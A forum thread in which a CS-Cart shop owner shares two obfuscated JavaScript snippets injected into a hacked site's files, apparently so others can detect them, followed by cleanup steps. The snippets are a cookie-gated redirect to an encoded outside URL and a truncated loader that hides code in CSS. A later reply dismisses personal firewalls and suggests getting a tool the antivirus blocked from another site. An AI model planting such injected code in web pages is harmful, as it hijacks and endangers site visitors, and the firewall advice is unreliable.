You might want to scan for these hacks

General General Questions
1

Over the last few days my site has been hacked twice, I hope this isn’t to do with CS-Cart and at the momment I prefer to think it’s one of the OSC shops I have on the server. But anyway it won’t harm any to scan your files to see if either of the following code section are present at the top or bottom of files. The first mainly target .js files; So I suggest downloading the folder and doing a search in files via notepad++ or similer


  1. This one was a redirect

    [HTML]if(document.cookie.indexOf(“udb=1”)<0){var j=0,n=“”;while(j<54)n+=String.fromCharCode(“iuuq;00hbups76/iptuhbups/dpn0ec:160uet0pvu/qiq@t`je>2”.charCodeAt(j++)-1);document.cookie=“udb=1;”;document.location=n;}



    [/HTML]
  2. Don’t have a clue what this one tries to do.



    [HTML]function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement(“style”);if(!isIE)style_node.innerHTML=selector+" {“+declaration+”}“;document.getElementsByTagName(“head”)[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)==“object”)last_style_node.addRule(selector,declaration);}};createCSS(”#va",“background:url(data:,String.fromCharCode)”);var ucyq=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var vpm=r[i].cssRules||r[i].rules;for(var lqf=0;lqf<vpm.length;lqf++){var gl=vpm.item?vpm.item(lqf):vpm[lqf];if(!gl.selectorText.match(/#va/))continue;qq=(gl.cssText)?gl.cssText:gl.style.cssText;ucyq=qq.match(/(S[^“)]+)/)[1];zio=gl.selectorText.substr(1);};}catch(e){};}oe=new Date(2010,11,3,2,21,4);t=oe.getSeconds();var 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2

The attacker was using JavaScript technique for creating dynamic css files in your CS-Cart installation.

3

I’ve had someone contact me via pm about this from the forum, it’s a commerce issue really but I can’t reply to them because their forum setting don’t allow messages.



Here’s what to do to get rid of these hacks if you can’t restore from back.



First take the site offline,you or you host can do that, I advise you do it yourself by changing the permissions on the web folder.




  1. Now download the whole site via ftp.
  2. Download Textcrawler if you don’t have.


  3. Do a search and delete for the hack code.


  4. Optional - read this


  5. I prefer to delete all files on the server and then upload only the files I really need and check all permissions and set passwords on folder where possible.
4

[quote name='

2. Download Textcrawler if you don’t have.



3. Do a search and delete for the hack code.



[/QUOTE]



Well, trying to do that but by ESET firewall jumps telling me that there was an intrusion and blocks it, so, can’t download the tool, my anti virus software doesn’t approve of it :rolleyes:

5

[quote name=‘E.Qi.Librium’]Well, trying to do that but by ESET firewall jumps telling me that there was an intrusion and blocks it, so, can’t download the tool, my anti virus software doesn’t approve of it :rolleyes:[/QUOTE]



It’s a well used free program so I’m sure if you search you’ll find it at a site your firewall likes.



Personal firewalls ← pointless actully, they do more harm then good but thats just the opinion of someone who used to install firewall one for a living :smiley: